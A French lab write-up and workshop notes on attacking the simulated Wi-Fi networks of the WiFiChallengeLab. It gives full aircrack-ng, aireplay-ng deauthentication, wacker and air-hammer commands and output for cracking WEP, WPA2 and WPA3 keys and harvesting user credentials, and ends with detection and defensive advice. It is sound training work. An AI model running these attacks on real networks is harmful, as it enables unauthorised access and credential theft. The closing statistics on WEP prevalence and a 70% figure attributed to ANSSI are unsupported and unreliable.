# Lab WIFI - Rettbl --- [TOC] --- # Introduction > [EDU.Cyber](https://edu-cyber.fr/), a eu la volonté de monter un lab permettant de démontrer les différentes vulnérabilités liées au Wi-Fi. Ce document a pour but de synthétiser les démarches pour la mise en place du lab avec les notions Wi-Fi associées. > > Je m'appuie sur [l'OVA](https://drive.proton.me/urls/Q4WPB23W7R#Qk4nxMH8Q4oQ) du projet de [r4ulcl](https://github.com/r4ulcl/WiFiChallengeLab) : > > ![image](https://hackmd.io/_uploads/HJfA1-CHa.png) --- ## Définitions > * **<u>Wi-Fi :</u>** Le Wi-Fi, ou Wireless Fidelity, est une technologie de communication sans fil qui permet d'accéder à Internet et à d'autres réseaux informatiques. Le Wi-Fi utilise des ondes radio pour transmettre des données entre des appareils, tels que des ordinateurs, des smartphones et des tablettes. > * **<u>SSID :</u>** Service Set IDentifier, est le nom d'un réseau sans fil. > * **<u>PSK :</u>** Pre-Shared Key, est un type réseau Wi-Fi conçu pour les réseaux personnels. > * **<u>WEP :</u>** Le WEP, ou Wired Equivalent Privacy, est un protocole de sécurité utilisé pour protéger les réseaux Wi-Fi. Le WEP est un protocole de sécurité Wi-Fi obsolète et peu sûre. > * **<u>WPA :</u>** Wi-Fi Protected Access (WPA) est un protocole de sécurité utilisé pour protéger les réseaux Wi-Fi. Il a été développé par la Wi-Fi Alliance pour remplacer le protocole WEP, qui était considéré comme obsolète et peu sûr. > * **<u>Adresse MAC :</u>**, Media Access Control, est un identifiant physique stocké dans une carte réseau. > * **<u>Handshake :</u>** Est un échange de messages entre un point d'accès Wi-Fi et un appareil client pour établir une connexion sécurisée. ## Outils > Les outils qui seront utilisés pour ce lab, sont décris ci-dessous : > * `Airmon-ng` est un outil utilisé pour qu'une carte réseau sans fil écoute les paquets sans fil transmis dans la zone. >* `Besside-ng` est un outil utilisé pour trouver les points d'accès Wi-Fi. Elle permet de détecter des points d'accès Wi-Fi cachés et de récupérer leurs informations, telles que leur SSID, leur adresse MAC et leur type de sécurité. >* `Hostapd-mana` est un outil permettant de créer des faux points d'accès Wi-Fi. >* `Wifi_db` est un script python qui permet à partir de captures réseau d'extraire des informations utiles en une vue globale (mode SQL). >* `Air-Hammer` est un outil utilisé pour effectuer des attaques par force brute contre les réseaux Wi-Fi. --- ## Cas pratique > Avec ce lab, nous pourrons : > * Ecouter le trafic réseau > * Analyser les réseaux Wi-Fi associés > * Attaquer des réseaux wifi avec sécurité WEP (manuel/automatique) > * Attaquer des réseaux partage de connexion mobile (PSK) > * Attaquer des réseaux wifi sous WPA2 > * Attaquer des réseaux wifi sous WPA3 > * Récupérer des informations sur les personnes connectées + mot de passe ### Écouter le traffic réseau > Pour mettre en place une écoute du réseau wifi : > ```bash= > sudo airmon-ng start wlan0 > sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg > ``` > ![image](https://hackmd.io/_uploads/HkJb4WRBT.png) > >Cette manipulation nous permet d'observer les différents points d'accès wifi. ### Attaque d'un réseau WEP > Lors de l'analyse du réseau, nous découvrons un réseau wifi avec une protection WEP : > ```bash= > user@WiFiChallengeLab:~$ sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg > BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH WPS ESSI MANUFACTURER > F0:9F:C2:AA:19:29 -28 203 5999 332 1 54 WEP WEP wifi-old Ubiquiti Networks Inc. >``` > >Pour exploiter ce réseau voici 2 types de démarche. La première permet de le faire de façon automatique, la deuxième la fait manuellement : >* Nous tentons d'exploiter le point d'accès en précisant son adresse MAC en exploitant le canal sur lequel le point fonctionne depuis notre carte réseau wlan2 : >```bash= >sudo besside-ng -c 1 -b F0:9F:C2:AA:19:29 wlan2 -v >``` >![image](https://hackmd.io/_uploads/r13RRVJIa.png) > >Pour le faire manuellement : >1. On capture dans un premier temps les données sur le réseau avec `aircrack`. >```bash= >sudo airodump-ng -c 1 --bssid F0:9F:C2:AA:19:29 -w wifi-old wlan0mon >``` > >2. Nous allons ensuite générer des données pour forcer les clients à se désauthentifier. >```bash= >sudo aireplay-ng -1 3600 -q 10 -a F0:9F:C2:AA:19:29 wlan0mon >``` > >3. Nous générons ensuite du trafic en lançant une attaque par rejeu de demande ARP. >```bash= >sudo aireplay-ng --arpreplay -b F0:9F:C2:AA:19:29 -h BA:49:A9:53:A1:8C wlan0mon >``` > >4. Nous pouvons ensuite cracker le mot de passe avec `aicrack` : >```bash= >sudo aircrack-ng wifi-old-01.cap >``` > Ci dessous une image récapitulant les 4 étapes : > >![image](https://hackmd.io/_uploads/S1BwkrJIT.png) ### Attaque d'un réseau PSK >Lors de l'analyse du réseau, nous découvrons des réseauw wifi avec une protection PSK : >```bash= >sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg > BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH WPS ESSI MANUFACTURER > 82:AF:13:1F:F4:E6 -28 5 0 0 6 54 CCMP PSK 0.0 WIFI-JUAN Unknown > CE:35:D5:5C:63:2E -28 5 0 0 6 54 WPA2 CCMP PSK 0.0 MiFibra-5-D6G3 Unknown > F0:9F:C2:71:22:12 -28 5 0 0 6 54 CCMP PSK 0.0 wifi-mobile Ubiquiti Networks Inc. > EE:C8:ED:95:FB:DA -28 5 0 0 9 54 TKIP PSK 0.0 vodafone7123 Unknown > F2:CC:56:36:E4:18 -28 10 0 0 3 54 CCMP PSK 0.0 MOVISTAR_JYG2 Unknown >``` >Nous nous intéresserons ici au réseau `wifi-mobile`. Nous pourrions aussi pu utiliser la commande `airodump-ng wlan0mon -w ~/wifi/scanc6 -c 6 --wps` qui liste directement les réseaux avec authentification PSK. >Nous lancerons ensuite `aircack` pour écouter le réseau et envoyer des requêtes de désauthentification : >```bash= >sudo airmon-ng check kill >sudo airmon-ng start wlan0 >sudo iwconfig wlan0mon channel 6 >sudo aireplay-ng -0 10 -a F0:9F:C2:71:22:12 wlan0mon >``` >![image](https://hackmd.io/_uploads/r1hFSr1Lp.png) > >Nous pouvons ensuite effectuer une attaque par mot de passe sur les paquets récupérés : >```bash= >sudo aircrack-ng scanc6-01.cap -w wifi-rockyou.txt >``` >![image](https://hackmd.io/_uploads/HkxSMue86.png) ### Attaque d'un réseau WPA2 > Lors de l'analyse du réseau, nous découvrons un réseau wifi avec une protection WPA2 : > ```bash= > user@WiFiChallengeLab:~$ sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg > BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH >F0:9F:C2:71:22:15 -28 9 2 0 44 54e WPA2 CCMP MGT wifi-corp Ubiquiti Networks Inc. > F0:9F:C2:71:22:16 -28 9 0 0 44 54e WPA2 CCMP MGT wifi-regional Ubiquiti Networks Inc. > F0:9F:C2:7A:33:28 -28 9 0 0 44 54e WPA2 CCMP MGT wifi-regional-tablets Ubiquiti Networks Inc. > F0:9F:C2:71:22:1A -28 9 0 0 44 54e WPA2 CCMP MGT wifi-corp Ubiquiti Networks Inc. > F0:9F:C2:71:22:17 -28 9 245 13 44 54e WPA2 CCMP MGT wifi-global Ubiquiti Networks Inc. > BE:BA:E1:EB:80:21 -28 4 0 0 6 54 WPA2 CCMP PSK 0.0 MiFibra-5-D6G3 Unknown >``` >Nous allons tenter ici de cracker le mot de passe du réseau wifi `wifi-global`. Pour cela nous allons créer un faux point d'accès (AP) avec l'outil `hostapd-mana`. Cela nous permet de récupérer le *handshake* wifi lorsqu'un client essaye de se connecter. >Nous allons écouter le réseau `wifi-global` et repérer les clients associé de la manière suivante : >```bash= >user@WiFiChallengeLab:~/wifi/WPA22$ sudo airodump-ng -c 44 --bssid F0:9F:C2:71:22:17 -w scan2 wlan0mon >08:48:08 Created capture file "scan2-01.cap". > > CH 44 ][ Elapsed: 1 min ][ 2023-12-14 08:49 ][ WPA handshake: F0:9F:C2:71:22:17 > > BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID > > F0:9F:C2:71:22:17 -28 0 667 12286 0 44 54e WPA2 CCMP MGT wifi-global > > BSSID STATION PWR Rate Lost Frames Notes Probes > > F0:9F:C2:71:22:17 64:32:A8:BA:18:42 -29 24e-24e 0 5031 PMKID > F0:9F:C2:71:22:17 64:32:A8:BC:53:51 -29 48e- 6e 267 6563 PMKID >``` >Nous avons 2 clients qui sont connectés au réseau wifi actuellement. Nous allons cibler un des clients pour forcer un déconnexion et récupérer le *handshake* : >```bash= >user@WiFiChallengeLab:~/wifi/WPA22$ sudo aireplay-ng -0 10 -a F0:9F:C2:71:22:17 -c 64:32:A8:BA:18:42 wlan0mon >09:04:29 Waiting for beacon frame (BSSID: F0:9F:C2:71:22:17) on channel 44 >09:04:29 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:30 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:31 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:32 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:32 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:33 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:34 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:35 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:36 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >09:04:37 Sending 64 directed DeAuth (code 7). STMAC: [64:32:A8:BA:18:42] [ 0| 0 ACKs] >``` > >Nous pouvons maintenant tenter de casser la clé wifi avec `aircrack` : >```bash= >user@WiFiChallengeLab:~/wifi/WPA22$ sudo aircrack-ng -w ../rockyou-top100000.txt -b F0:9F:C2:71:22:17 scan2-01.cap >Reading packets, please wait... >Opening scan2-01.cap >Read 12349 packets. > >1 potential targets > Aircrack-ng 1.6 > KEY FOUND! [ chocolatine ] > > > Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E > B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD > > Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 > CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 > FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E > 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 > > EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB >``` > > Bravo vous avez cracké un réseau en WPA2. ### Attaque d'un réseau WPA3 > Les réseaux WPA3 sont les derniers points d'accès aux normes en 2023. Il est toujours possible d'effectuer des attaques par mot de passes. Nous pouvons utiliser l'outil [wacker](https://github.com/blunderbuss-wctf/wacker). > Lors de notre écoute, nous observons un réseau en WPA3 : > ```bash= > user@WiFiChallengeLab:~$ sudo airodump-ng wlan0mon -w scan --manufacturer --wps --band abg > BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH > F0:9F:C2:11:0A:24 -28 22 0 0 11 54e TKIP SAE wifi-management Ubiquiti Networks Inc. > F0:9F:C2:1A:CA:25 -28 22 0 0 11 54e TKIP SAE wifi-IT Ubiquiti Networks Inc. >``` > > Avec l'outil nous pouvons effectuer une attaque par mot de passe sur le réseau `wifi-management` : >```bash= >root@WiFiChallengeLab:/home/user/tools/wacker# python3 wacker.py --wordlist /home/user/wifi/rockyou-top100000.txt --ssid wifi-management --bssid F0:9F:C2:11:0A:24 --interface wlan2 --freq 2462 >Starting wpa_supplicant... >Successfully initialized wpa_supplicant >Start time: 12 Dec 2023 15:38:53 > 1469 / 1000000 words (0.15%) : 79 words/sec : 0.008 hours lapsed : 3.49 hours to exhaust (12 Dec 2023 19:09:02) >Found the password: 'chocolate1' > >Stop time: 12 Dec 2023 15:39:24 >``` > >Nous pouvons également exploiter le réseau `wifi-IT` en forçant un client à se connecter à notre faux point d'accès en WPA2. Ce qui nous permet de récuperer le *handshake* et ensuite nous pourrons le casser. ## Récupérer des informations sur les personnes connectés > Dans les réseaux wifi professionnels, les utilisateurs se connecte avec des comptes uniques associés à leurs personnes. Nous allons tenter de récupérer des informations sur les personnes connectés : > ```bash= > airodump-ng wlan0mon -w scanc44 -c 44 --wps > wireshark scanc44-01.cap > ``` > ![image](https://hackmd.io/_uploads/r1aRrQDI6.png) > > Nous donc pouvons récupérer les comptes qui se connectent au point d'accès. Nous allons ensuite avec l'outil `wifi_db` créer une base de données SQLite pour visualiser les données récupérer : > ```bash= > python3 wifi_db.py -d wifichallenge.SQLITE /home/user/wifi/identity/scanc44-02.* > sqlitebrowser wifichallenge.SQLITE > ``` > >![image](https://hackmd.io/_uploads/Hkn6UXDI6.png) > Nous avons désormais les différents clients qui se sont connectés à notre point d'accès. ### Récupérer le mot de passe d'une personne connecté >Nous allons maintenant essayer de trouver le mot de passe d'un des comptes avec l'outil `air-hammer` : >```bash= >echo 'CONTOSO\test' > test.user > sudo ./air-hammer.py -i wlan3 -e wifi-corp -p /home/user/wifi/rockyou-top100000.txt -u test.user >``` >![image](https://hackmd.io/_uploads/SycPiQDLa.png) --- ## Protection/Visualisation > Avec l'outil WIDS (Wireless IDS) - Nzyme. Nous pouvons visualiser les différentes attaques via cet outil : > > ![](https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/WIDS.png#center) > > Cet outil peut également servir de protection dans un réseau wifi. ## Présentation > Une présentation de ce workshop se passera le 16 janvier 2024 à distance. ### 1. Introduction > Bonjour à tous ! Je suis Mathis, passionné de cybersécurité et actuellement en alternance dans ce domaine fascinant. > Tout d'abord je tiens à préciser que c'est la première fois que je fais ce type d'évenement alors n'hésitez pas à me reprendre ou autres il n'y a pas de soucis. > > Donc le Wi-Fi est une technologie de communication sans fil qui permet aux appareils de se connecter à Internet ou à un réseau local. Elle est très populaire, car elle est facile à utiliser et offre une connexion rapide et fiable. C'est une technologie qui est devenue essentielle dans notre vie quotidienne. > > Le Wi-Fi Alliance créé en 1999 sous le nom de Wireless Ethernet Comptability Alliance. Il existe 2 type de fréquence (2.4 GHz et 5 GHz), ces deux fréquences sont complémentaires et permettent un fonctionnement optimal. >Les réseaux WiFi, sont comme des voies sur une autoroute. Leur arrangement vise à éviter les embouteillages et les interférences, assurant ainsi une circulation fluide des données. > >Il existe de nombreux standards et normes wifi qui montre que ce dernier ne cesse d'évoluer à travers les années. ### 2. Définitions > Le WEP est fortement déconseiller par l'ANSSI (agence nationale de cybersécurité) dans sont livret "Sécuriser les accès Wi-Fi". > > Le beacon ou beacon frame, est un message envoyé par le point d'accès Wifi. Dans ce message nous retrouvons toutes les informations à propos de la connexion wifi. Dont le chiffrement. ### 3. Démonstrations > **Les vulnérabilités des protocoles de sécurité :** les protocoles de sécurité utilisés pour protéger les réseaux Wi-Fi sont parfois vulnérables à des attaques. Par exemple, le protocole WPA2, qui est utilisé par la plupart des réseaux Wi-Fi modernes, a été compromis par la vulnérabilité KRACK en 2017. > **Les vulnérabilités des appareils :** les appareils Wi-Fi peuvent également être vulnérables à des attaques. Par exemple, les routeurs Wi-Fi sont souvent mal configurés, ce qui peut les rendre vulnérables à des attaques. > Ces attaques peuvent amener à des vols de données, la prise de contrôle de l'équipement,... > > Le principe est d'envoyer des trames de désauthentification à un client connecté sur un BSSID. Cela va forcer le client à se reconnecter à nous permettre de récupérer les beacons. > Rogue AP, est un faux point d'accès Wi-Fi, exemple Mac Do gratuit. Ce dernier a pour but de tromper les utilisateurs pour qu'il se connecte dessus et récupérer des informations. ### 4. Les protections > Durant les attaques Wi-Fi, l'outil Nzyme était installe en arrière plan. Ce dernier de visualiser les différentes attaques sur le Wifi et de prendre des mesures de protection. ### 5. Les recommendations > Les autres mesures de protections sont : > * Mettez à jour les logiciels et les firmwares de vos appareils Wi-Fi : les mises à jour de sécurité corrigent souvent les vulnérabilités connues. >* Utilisez un mot de passe fort pour votre réseau Wi-Fi : un mot de passe fort rend plus difficile pour les cybercriminels de s'y connecter. > * Activez le chihffrement sur votre réseau Wi-Fi : le chiffrement protège le trafic Wi-Fi de l'interception. ### 6. Conclusion > Pour finir sur quelques chiffres : > * Une étude de l'ANSSI a montré que 70 % des réseaux Wi-Fi publics sont vulnérables aux attaques. > * La moitié des réseaux Wi-Fi dans le monde utilisent encore le protocole WEP, qui est considéré comme très peu sécurisé. > > En résumé, nous avons exploré les fondements du WiFi, identifié des vulnérabilités potentielles, et discuté de mesures de protection cruciales. N'oubliez pas, la sécurité commence par des actions simples mais impactantes. > ## Ressources >https://johnermac.github.io/notes/ecppt/wifi/ >https://www.aircrack-ng.org/doku.php?id=cracking_wpa >https://medium.com/@brannondorsey/crack-wpa-wpa2-wi-fi-routers-with-aircrack-ng-and-hashcat-a5a5d3ffea46 >https://github.com/nzymedefense/nzyme > https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/